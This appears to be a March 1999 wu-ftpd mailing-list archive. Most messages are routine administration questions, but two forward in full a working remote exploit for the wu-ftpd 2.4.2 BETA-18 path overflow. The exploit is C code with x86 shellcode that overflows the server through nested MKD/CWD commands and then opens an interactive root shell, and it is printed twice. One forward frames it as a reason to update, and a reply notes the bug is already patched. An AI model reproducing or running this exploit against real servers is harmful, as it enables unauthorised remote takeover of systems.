Cc: [email protected]
Subject: Re: help with pathmsg syntax
In-Reply-To: <935297C50FA3D211BF090008C75D28205FD490@HRM08>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 22 Mar 1999, Pomerance, Debbie wrote:

> path-filter guest /etc/pathmsg ^[-A-Za-z0-9._ ~]*$ ^\. ^-
>
> What I really want to do though is allow a tilde in first charcter
> position only.

I'd have to play with it a bit, but I'd start by trying the following:

path-filter guest /etc/pathmsg ^~?[-A-Za-z0-9._]*$ ^\. ^-

Sayeth man grep:

A regular expression matching a single character may be followed by one of
several repetition operators:
? The preceding item is optional and matched at most once.

What I'd have to play with is whether the regexp functions in the daemon
support the ? operator (they should) and whether the character would need
to be in [] braces ( [~]? ).

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 22 18:28:44 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id SAA01473;
Mon, 22 Mar 1999 18:28:43 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id SAA25409;
Mon, 22 Mar 1999 18:20:36 -0600 (CST)
Received: from meshach.imho.net ([207.252.21.242])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id SAA21306
for <[email protected]>; Mon, 22 Mar 1999 18:18:55 -0600 (CST)
Received: from shadrach (shadrach.imho.net [207.252.21.243])
by meshach.imho.net (8.9.1a/8.9.1) with SMTP id SAA26329
for <[email protected]>; Mon, 22 Mar 1999 18:09:42 -0600 (CST)
Message-Id: <[email protected]>
Date: Mon, 22 Mar 1999 18:16:27 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Leif Ericksen <[email protected]>
To: [email protected]
Subject: Virtual FTP and netscape/IE/MS Front page.
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I have set up wu-ftpd-2.4.2-beta-18-vr13 with a virtual server. It works
great for the user that logs in vi a command line FTP however, if they use
Microsoft Front Page, Microsoft Internet Explorer, Netscape (4.5) and try
to publish the page it will get partly completed with the upload of the
page, and just lock up. The system will not produce any errors and just
sit there with the upload status window on the screen, after uploading at
least one file.

Has anybody else had a similar problem? Incidentally the ftp server is
running on a Sparc 5 with Solaris 2.5.

-- Leif Ericksen
[email protected]

From [email protected] Tue Mar 23 01:52:27 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id BAA21210;
Tue, 23 Mar 1999 01:52:26 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id BAA00335;
Tue, 23 Mar 1999 01:46:09 -0600 (CST)
Received: from mail-atm.nycap.rr.com ([email protected] [24.92.32.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id BAA32571
for <[email protected]>; Tue, 23 Mar 1999 01:37:55 -0600 (CST)
Received: from yua2 (cm-29-44-47.nycap.rr.com [24.29.44.47])
by mail-atm.nycap.rr.com (8.9.1/8.9.1) with SMTP id CAA13961
for <[email protected]>; Tue, 23 Mar 1999 02:37:53 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 02:38:15 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Alex Yu" <[email protected]>
To: <[email protected]>
Subject: FW: ftp exploit
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

any comments?

> -----Original Message-----
> From: Bugtraq List [mailto:[email protected]] On Behalf Of Pieter
> Nieuwenhuijsen
> Sent: Monday, March 22, 1999 11:10 AM
> To: [email protected]
> Subject: ftp exploit
>
>
> /*
> THIS IS PRIVATE! DO NOT DISTRIBUTE!!!! PRIVATE!
>
> WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)
> for linux x86 (redhat 5.2)
>
> by duke
> [email protected]
>
> BIG thanks to stran9er for alot of help with part of the
> shellcode!
> i fear stran9er, but who doesn't? !@$ :)
>
> Greets to: #!ADM, el8.org users,
>
> To exploit this remotely they need to have a directory you can
> have write privlidges to.. this is the <dir> argument.. you can
> also use this locally by specifying -l <ur login> -p
> <urpass> with the
> <dir> = your home directory or something..(must begin with '/')
> also alignment arg is how return address is aligned..
> shouldnt need it,
> but if u do it should be between 0 and 3
>
> It takes about 10 seconds after "logged in" so be patient.
> -duke
> */
>
> #include <stdio.h>
> #include <string.h>
> #include <netdb.h>
> #include <netinet/in.h>
> #include <sys/socket.h>
> #include <sys/types.h>
> //#include <linux/time.h>
> //#include <sys/select.h>
> #include <sys/time.h>
> #include <unistd.h>
>
> #define RET 0xbfffa80f
>
> void logintoftp();
> void sh();
> void mkd(char *);
> int max(int, int);
> long getip(char *name);
>
> char shellcode[] =
> "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
> "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
> "\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
> "\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
> "\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
> "\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
> "\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
> "\x80\xe8\xac\xff\xff\xff";
>
> char tmp[256];
> char name[128], pass[128];
>
> int sockfd;
>
> int main(int argc, char **argv)
> {
> char sendln[1024], recvln[4048], buf1[800], buf2[1000];
> char *p, *q, arg, **fakeargv = (char **)
> malloc(sizeof(char *)*(argc + 1));
> int len, offset = 0, i, align=0;
> struct sockaddr_in cli;
>
> if(argc < 3){
> printf("usage: %s <host> <dir> [-l name] [-p
> pass] [-a <alignment>] [-o offset]\n", argv[0]);
> exit(0);
> }
>
> for(i=0; i < argc; i++) {
> fakeargv[i] = (char *)malloc(strlen(argv[i]) + 1);
> strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
> }
>
> fakeargv[argc] = NULL;
>
>
> while((arg = getopt(argc,fakeargv,"l:p:a:o:")) != EOF){
> switch(arg) {
> case 'l':
> strncpy(name,optarg,128);
> break;
> case 'p':
> strncpy(pass,optarg,128);
> break;
> case 'a':
> align=atoi(optarg);
> break;
> case 'o':
> offset=atoi(optarg);
> break;
> default:
> printf("usage: %s <host> <dir> [-l name] [-p
> pass] [-a <alignment>] [-o offset]\n", argv[0]);
> exit(0);
> break;
> }
> }
>
> if(name[0] == 0) strcpy(name, "anonymous");
> if(pass[0] == 0) strcpy(pass, "[email protected]");
>
>
> bzero(&cli, sizeof(cli));
> bzero(recvln, sizeof(recvln));
> bzero(sendln, sizeof(sendln));
> cli.sin_family = AF_INET;
> cli.sin_port = htons(21);
> cli.sin_addr.s_addr=getip(argv[1]);
>
> if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
> perror("socket");
> exit(0);
> }
>
> if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
> perror("connect");
> exit(0);
> }
> while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
> recvln[len] = '\0';
> if(strchr(recvln, '\n') != NULL)
> break;
> }
> logintoftp(sockfd);
> printf("logged in.\n");
> bzero(sendln, sizeof(sendln));
>
> for(i=align; i<996; i+=4)
> *(long *)&buf2[i] = RET + offset;
> memcpy(buf2, "a", align);
> memset(buf1, 0x90, 800);
> memcpy(buf1, argv[2], strlen(argv[2]));
> mkd(argv[2]);
> p = &buf1[strlen(argv[2])];
> q = &buf1[799];
> *q = '\x0';
> while(p <= q){
> strncpy(tmp, p, 200);
> mkd(tmp);
> p+=200;
> }
> mkd(shellcode);
> mkd("bin");
> mkd("sh");
> p = &buf2[0];
> q = &buf2[999];
> while(p <= q){
> strncpy(tmp, p, 250);
> mkd(tmp);
> p+=250;
> }
> sh(sockfd);
>
>
> close(sockfd);
> printf("finit.\n");
> }
>
> void mkd(char *dir)
> {
> char snd[512], rcv[1024];
> char blah[1024], *p;
> int n;
> struct timeval tv;
>
> fd_set fds;
> bzero(&tv, sizeof(tv));
> tv.tv_usec=50;
> bzero(blah, sizeof(blah));
> p = blah;
> for(n=0; n<strlen(dir); n++){
> if(dir[n] == '\xff'){
> *p = '\xff';
> p++;
> }
> *p = dir[n];
> p++;
> }
> sprintf(snd, "MKD %s\r\n", blah);
> write(sockfd, snd, strlen(snd));
> bzero(snd, sizeof(snd));
> sprintf(snd, "CWD %s\r\n", blah);
> write(sockfd, snd, strlen(snd));
> bzero(rcv, sizeof(rcv));
>
> FD_ZERO(&fds);
> FD_SET(sockfd,&fds);
> select(sockfd+1,&fds,NULL,NULL,&tv);
>
> if (FD_ISSET(sockfd,&fds))
> while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
> rcv[n] = 0;
> if(strchr(rcv, '\n') != NULL)
> break;
> }
> return;
> }
>
> void logintoftp()
> {
> char snd[1024], rcv[1024];
> int n;
>
> printf("logging in with %s: %s\n", name, pass);
> memset(snd, '\0', 1024);
> sprintf(snd, "USER %s\r\n", name);
> write(sockfd, snd, strlen(snd));
>
> while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
> rcv[n] = 0;
> if(strchr(rcv, '\n') != NULL)
> break;
> }
>
> memset(snd, '\0', 1024);
> sprintf(snd, "PASS %s\r\n", pass);
> write(sockfd, snd, strlen(snd));
>
> while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
> rcv[n] = 0;
> if(strchr(rcv, '\n') != NULL)
> break;
> }
> return;
> }
>
> void sh()
> {
> char snd[1024], rcv[1024];
> fd_set rset;
> int maxfd, n;
>
> strcpy(snd, "cd /; uname -a; pwd; id;\n");
> write(sockfd, snd, strlen(snd));
>
> for(;;){
> FD_SET(fileno(stdin), &rset);
> FD_SET(sockfd, &rset);
> maxfd = max(fileno(stdin), sockfd) + 1;
> select(maxfd, &rset, NULL, NULL, NULL);
> if(FD_ISSET(fileno(stdin), &rset)){
> bzero(snd, sizeof(snd));
> fgets(snd, sizeof(snd)-2, stdin);
> write(sockfd, snd, strlen(snd));
> }
> if(FD_ISSET(sockfd, &rset)){
> bzero(rcv, sizeof(rcv));
> if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
> printf("EOF.\n");
> exit(0);
> }
> if(n < 0){
> perror("read");
> exit(-1);
> }
> fputs(rcv, stdout);
> }
> }
> }
>
> int max(int x, int y)
> {
> if(x > y)
> return(x);
> return(y);
> }
>
> long getip(char *name)
> {
> struct hostent *hp;
> long ip;
>
> if ((ip=inet_addr(name))==-1)
> {
> if ((hp=gethostbyname(name))==NULL)
> {
> fprintf(stderr,"Can't resolve host.\n");
> exit (1);
> }
> memcpy(&ip, (hp->h_addr), 4);
> }
> return ip;
> }
>

From [email protected] Tue Mar 23 04:26:41 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id EAA21381;
Tue, 23 Mar 1999 04:26:40 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id EAA21340;
Tue, 23 Mar 1999 04:20:36 -0600 (CST)
Received: from windlord.stanford.edu (windlord.Stanford.EDU [171.64.12.23])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id EAA07959
for <[email protected]>; Tue, 23 Mar 1999 04:15:45 -0600 (CST)
Received: (qmail 15885 invoked by uid 50); 23 Mar 1999 10:15:37 -0000
Message-Id: <[email protected]>
Date: 23 Mar 1999 02:15:36 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Russ Allbery <[email protected]>
To: [email protected]
Cc: <[email protected]>
Subject: Re: FW: ftp exploit
In-Reply-To: "Alex Yu"'s message of "Tue, 23 Mar 1999 02:38:15 -0500"
References: <[email protected]>
X-Mailer: Gnus v5.4.66/Emacs 19.34
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Alex Yu <[email protected]> writes:

> any comments?

It's an exploit script for the path overflow bug that's already been
announced by CERT, been on all the security lists, and has already been
fixed in the latest version of every wu-ftpd variant that I'm aware of as
well as being the impetus for the final mainline wu-ftpd release?

--
Russ Allbery ([email protected]) <URL:http://www.eyrie.org/~eagle/>

From [email protected] Tue Mar 23 05:57:39 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id FAA21473;
Tue, 23 Mar 1999 05:57:38 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id FAA00777;
Tue, 23 Mar 1999 05:51:34 -0600 (CST)
Received: from irene.ctv.es (irene.ctv.es [212.25.129.13])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id FAA28290
for <[email protected]>; Tue, 23 Mar 1999 05:48:11 -0600 (CST)
Received: from ctv.es (ctv21225129132.ctv.es [212.25.129.132])
by irene.ctv.es (8.9.3/8.9.1) with ESMTP id MAA08479
for <[email protected]>; Tue, 23 Mar 1999 12:47:37 +0100 (MET)
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 12:39:41 +0100
Reply-To: [email protected]
Sender: [email protected]
From: Carles Xavier Munyoz =?iso-8859-1?Q?Bald=F3?= <[email protected]>
To: [email protected]
Subject: !Receive error. Blocking call cancelled.
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Sender: [email protected]
X-Envelope-To: <[email protected]>
X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.0.36 i586)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hello,

"!Receive error. Blocking call cancelled."

This is the error message I obtain some times using the ftp cliente
WS-FTP and the ftp server wu-ftpd-2.4.2-beta-18-vr13.
The error is reported by the WS-FTP client.

May someone help me with this problem ?

Many thanks.
---
CTV Internet [http://www.ctv.es]
Carles Xavier Munyoz Bald� / [email protected] / [email protected]
http://www.ctv.es/USERS/carles
Clave p�blica PGP / PGP public KEY
http://www.ctv.es/PGP-STAFF/carles.html
Dpto. Sistemas / Ingeniero Inform�tico
Tel: +34 (9)6 5845291 - Fax: +34 (9)6 5844896
---

From [email protected] Tue Mar 23 08:21:11 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA22197;
Tue, 23 Mar 1999 08:21:11 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA15252;
Tue, 23 Mar 1999 08:14:38 -0600 (CST)
Received: from mserver.fh-koblenz.de (mserver.fh-koblenz.de [143.93.144.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA08112
for <[email protected]>; Tue, 23 Mar 1999 08:11:59 -0600 (CST)
Received: (from mschmidt@localhost)
by mserver.fh-koblenz.de (8.8.8/8.8.8-ms) id PAA13895;
Tue, 23 Mar 1999 15:09:50 +0100 (MET)
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 15:09:50 +0100 (MET)
Reply-To: [email protected]
Sender: [email protected]
From: Michael Schmidt <[email protected]>
To: [email protected]
Cc: [email protected], [email protected], [email protected]
Subject: Re: Can't build 2.4.2-vr16 on hp-ux 10.20
In-Reply-To: <[email protected]> from "Gregory A Lundberg" at Mar 16, 99 08:09:53 pm
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4 PL25]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> From: Gregory A Lundberg <[email protected]>
> Subject: Re: Can't build 2.4.2-vr16 on hp-ux 10.20
>
> On Tue, 16 Mar 1999, Kirke Johnson wrote:
>
> > Sadly, after subscribing to this list for several years, reading the web
> > FAQ, etc, I *still* can't compile this product. ;-{
>
> Mia Culpa. I had the patch submitted, but lost it before rolling VR16.
> VR17 should compile without problems on HP/UX .. at least so my testers
> tell me.
>
> > I really wish there were a precompiled HP binary.....
>
> As do I.

+++
and in an message later than the above quoted one Gregory also wrote:
+++

> From: Gregory A Lundberg <[email protected]>
> Subject: Re: Can't build 2.4.2-vr16 on hp-ux 10.20
>
> On Wed, 17 Mar 1999, Michael Schmidt wrote:
>
> > Please excuse my stupid ;-) question or if I'm missing a point, but as
> > above you are saying that testers tell you that it compiles without
> > problems on HPUX where is the problem of providing precompiled
> > binaries for HPUX?
>
> Testing on your own machine is a different level of commitment/effort than
> setting out to build a binary every month when a new VR update comes out.
>
> I appreciate all the help I get and try to impose as little as possible on
> the people who help me. While I would personally like pre-built binaries
> for HP/UX because they would make things easier on some users, I leave the
> choice up to those who have been assisting me and will not question their
> decision.

Hello to all,

among other systems we are also running HPUX-10.20, so I have built
precompiled binaries for HPUX for those users who are looking for them.
I have placed these precompiled binaries on our FTP server,
you may find these at:
ftp://ftp.fh-koblenz.de/pub/Precompiled-Binaries/HPUX-10.20/wu-ftpd/

If there is a need for precompiled versions of wu-ftpd older than
those placed at our above URL than feel free to drop me a note.
If you get no answer within a short time then feel free to drop
me a further note that you can be sure I got the regarding message.

In case there is no need for the above URL then do not hesitate
to tell me if I should remove it.

I appreciate your feedback.

Have a nice day
Michael

--
Michael Schmidt
[email protected]
Mirror of: SAMBA:
IPFilter, Ghostscript Server for Win95,
Linux-HOWTO WinNT, LANManager

From [email protected] Tue Mar 23 09:05:38 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA23010;
Tue, 23 Mar 1999 09:05:37 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA18058;
Tue, 23 Mar 1999 09:00:22 -0600 (CST)
Received: from molbio.unmc.edu (molbio.unmc.edu [137.197.214.37])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA21225
for <[email protected]>; Tue, 23 Mar 1999 08:55:18 -0600 (CST)
Received: from windsurf2 (windsurf2.unmc.edu [137.197.214.115])
by molbio.unmc.edu (8.9.1b+Sun/8.9.1) with SMTP id IAA03746
for <[email protected]>; Tue, 23 Mar 1999 08:56:11 -0600 (CST)
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 08:55:47 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Chad Price <[email protected]>
To: [email protected]
Subject: Fwd: ftp exploit (Why you should update wu-ftpd on your system)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Subject: Fwd: ftp exploit (Why you should update wu-ftpd on your system)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

>Approved-By: [email protected]
>Date: Mon, 22 Mar 1999 17:10:23 +0100
>Reply-To: Pieter Nieuwenhuijsen <[email protected]>
>Sender: Bugtraq List <[email protected]>
>From: Pieter Nieuwenhuijsen <[email protected]>
>Subject: ftp exploit
>To: [email protected]
>
>/*
> THIS IS PRIVATE! DO NOT DISTRIBUTE!!!! PRIVATE!
>
> WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)
> for linux x86 (redhat 5.2)
>
> by duke
> [email protected]
>
> BIG thanks to stran9er for alot of help with part of the shellcode!
> i fear stran9er, but who doesn't? !@$ :)
>
> Greets to: #!ADM, el8.org users,
>
> To exploit this remotely they need to have a directory you can
> have write privlidges to.. this is the <dir> argument.. you can
> also use this locally by specifying -l <ur login> -p <urpass> with the
> <dir> = your home directory or something..(must begin with '/')
> also alignment arg is how return address is aligned.. shouldnt need
>it,
> but if u do it should be between 0 and 3
>
> It takes about 10 seconds after "logged in" so be patient.
> -duke
>*/
>
>#include <stdio.h>
>#include <string.h>
>#include <netdb.h>
>#include <netinet/in.h>
>#include <sys/socket.h>
>#include <sys/types.h>
>//#include <linux/time.h>
>//#include <sys/select.h>
>#include <sys/time.h>
>#include <unistd.h>
>
>#define RET 0xbfffa80f
>
>void logintoftp();
>void sh();
>void mkd(char *);
>int max(int, int);
>long getip(char *name);
>
>char shellcode[] =
>"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
>"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
>"\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
>"\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
>"\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
>"\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
>"\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
>"\x80\xe8\xac\xff\xff\xff";
>
>char tmp[256];
>char name[128], pass[128];
>
>int sockfd;
>
>int main(int argc, char **argv)
>{
> char sendln[1024], recvln[4048], buf1[800], buf2[1000];
> char *p, *q, arg, **fakeargv = (char **) malloc(sizeof(char *)*(argc
>+ 1));
> int len, offset = 0, i, align=0;
> struct sockaddr_in cli;
>
> if(argc < 3){
> printf("usage: %s <host> <dir> [-l name] [-p pass] [-a
><alignment>] [-o offset]\n", argv[0]);
> exit(0);
> }
>
> for(i=0; i < argc; i++) {
> fakeargv[i] = (char *)malloc(strlen(argv[i]) + 1);
> strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
> }
>
> fakeargv[argc] = NULL;
>
>
> while((arg = getopt(argc,fakeargv,"l:p:a:o:")) != EOF){
> switch(arg) {
> case 'l':
> strncpy(name,optarg,128);
> break;
> case 'p':
> strncpy(pass,optarg,128);
> break;
> case 'a':
> align=atoi(optarg);
> break;
> case 'o':
> offset=atoi(optarg);
> break;
> default:
> printf("usage: %s <host> <dir> [-l name] [-p pass] [-a
><alignment>] [-o offset]\n", argv[0]);
> exit(0);
> break;
> }
> }
>
> if(name[0] == 0) strcpy(name, "anonymous");
> if(pass[0] == 0) strcpy(pass, "[email protected]");
>
>
> bzero(&cli, sizeof(cli));
> bzero(recvln, sizeof(recvln));
> bzero(sendln, sizeof(sendln));
> cli.sin_family = AF_INET;
> cli.sin_port = htons(21);
> cli.sin_addr.s_addr=getip(argv[1]);
>
> if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
> perror("socket");
> exit(0);
> }
>
> if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
> perror("connect");
> exit(0);
> }
> while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
> recvln[len] = '\0';
> if(strchr(recvln, '\n') != NULL)
> break;
> }
> logintoftp(sockfd);
> printf("logged in.\n");
> bzero(sendln, sizeof(sendln));
>
> for(i=align; i<996; i+=4)
> *(long *)&buf2[i] = RET + offset;
> memcpy(buf2, "a", align);
> memset(buf1, 0x90, 800);
> memcpy(buf1, argv[2], strlen(argv[2]));
> mkd(argv[2]);
> p = &buf1[strlen(argv[2])];
> q = &buf1[799];
> *q = '\x0';
> while(p <= q){
> strncpy(tmp, p, 200);
> mkd(tmp);
> p+=200;
> }
> mkd(shellcode);
> mkd("bin");
> mkd("sh");
> p = &buf2[0];
> q = &buf2[999];
> while(p <= q){
> strncpy(tmp, p, 250);
> mkd(tmp);
> p+=250;
> }
> sh(sockfd);
>
>
> close(sockfd);
> printf("finit.\n");
>}
>
>void mkd(char *dir)
>{
> char snd[512], rcv[1024];
> char blah[1024], *p;
> int n;
> struct timeval tv;
>
> fd_set fds;
> bzero(&tv, sizeof(tv));
> tv.tv_usec=50;
> bzero(blah, sizeof(blah));
> p = blah;
> for(n=0; n<strlen(dir); n++){
> if(dir[n] == '\xff'){
> *p = '\xff';
> p++;
> }
> *p = dir[n];
> p++;
> }
> sprintf(snd, "MKD %s\r\n", blah);
> write(sockfd, snd, strlen(snd));
> bzero(snd, sizeof(snd));
> sprintf(snd, "CWD %s\r\n", blah);
> write(sockfd, snd, strlen(snd));
> bzero(rcv, sizeof(rcv));
>
> FD_ZERO(&fds);
> FD_SET(sockfd,&fds);
> select(sockfd+1,&fds,NULL,NULL,&tv);
>
> if (FD_ISSET(sockfd,&fds))
> while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
> rcv[n] = 0;
> if(strchr(rcv, '\n') != NULL)
> break;
> }
> return;
>}
>
>void logintoftp()
>{
> char snd[1024], rcv[1024];
> int n;
>
> printf("logging in with %s: %s\n", name, pass);
> memset(snd, '\0', 1024);
> sprintf(snd, "USER %s\r\n", name);
> write(sockfd, snd, strlen(snd));
>
> while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
> rcv[n] = 0;
> if(strchr(rcv, '\n') != NULL)
> break;
> }
>
> memset(snd, '\0', 1024);
> sprintf(snd, "PASS %s\r\n", pass);
> write(sockfd, snd, strlen(snd));
>
> while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
> rcv[n] = 0;
> if(strchr(rcv, '\n') != NULL)
> break;
> }
> return;
>}
>
>void sh()
>{
> char snd[1024], rcv[1024];
> fd_set rset;
> int maxfd, n;
>
> strcpy(snd, "cd /; uname -a; pwd; id;\n");
> write(sockfd, snd, strlen(snd));
>
> for(;;){
> FD_SET(fileno(stdin), &rset);
> FD_SET(sockfd, &rset);
> maxfd = max(fileno(stdin), sockfd) + 1;
> select(maxfd, &rset, NULL, NULL, NULL);
> if(FD_ISSET(fileno(stdin), &rset)){
> bzero(snd, sizeof(snd));
> fgets(snd, sizeof(snd)-2, stdin);
> write(sockfd, snd, strlen(snd));
> }
> if(FD_ISSET(sockfd, &rset)){
> bzero(rcv, sizeof(rcv));
> if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
> printf("EOF.\n");
> exit(0);
> }
> if(n < 0){
> perror("read");
> exit(-1);
> }
> fputs(rcv, stdout);
> }
> }
>}
>
>int max(int x, int y)
>{
> if(x > y)
> return(x);
> return(y);
>}
>
>long getip(char *name)
>{
> struct hostent *hp;
> long ip;
>
> if ((ip=inet_addr(name))==-1)
> {
> if ((hp=gethostbyname(name))==NULL)
> {
> fprintf(stderr,"Can't resolve host.\n");
> exit (1);
> }
> memcpy(&ip, (hp->h_addr), 4);
> }
> return ip;
>}

Chad Price
Systems Manager
University of Nebraska Medical Center
600 S 42nd St
Omaha, NE 68506-6495
[email protected]
(402) 559-9527
(402) 559-4077 (FAX)

From [email protected] Tue Mar 23 09:08:14 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA23061;
Tue, 23 Mar 1999 09:08:13 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA02286;
Tue, 23 Mar 1999 09:02:10 -0600 (CST)
Received: from gatekeeper.dsg.com (gatekeeper.dsg.com [204.179.88.126])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA31566
for <[email protected]>; Tue, 23 Mar 1999 08:59:07 -0600 (CST)
Received: (from uucp@localhost) by gatekeeper.dsg.com (8.6.10/8.6.10) id IAA06883 for <[email protected]>; Tue, 23 Mar 1999 08:50:46 -0600
Received: from ares.dsg.com(204.179.89.129) by gatekeeper.dsg.com via smap (V1.3)
id sma006881; Tue Mar 23 08:50:28 1999
Received: from pluto.dsg.com (pluto [204.179.89.169])
by ares.dsg.com (8.8.5/8.8.5) with ESMTP id IAA10953
for <[email protected]>; Tue, 23 Mar 1999 08:58:34 -0600 (CST)
Received: by pluto.dsg.com with Internet Mail Service (5.5.2232.9)
id <HGG1RVRQ>; Tue, 23 Mar 1999 09:00:01 -0600
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 08:59:52 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Ray Texter <[email protected]>
To: "Wu-Ftpd (E-mail)" <[email protected]>
Subject: Site GPASS
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
X-Mailer: Internet Mail Service (5.5.2232.9)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I'm running wu-ftpd 2.4.2 on Solaris 2.7. I've added the option: private
yes to the ftpaccess file.
created the ftpgroups file with the syntax of
acces_group_name:passwd:real_groupname.
When I ftp in I can't execute the the commands Site Group or Site Gpass. I
get an error: ?Invalid command

please help

Ray

From [email protected] Tue Mar 23 09:18:35 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA23328;
Tue, 23 Mar 1999 09:18:33 -0600 (CST)
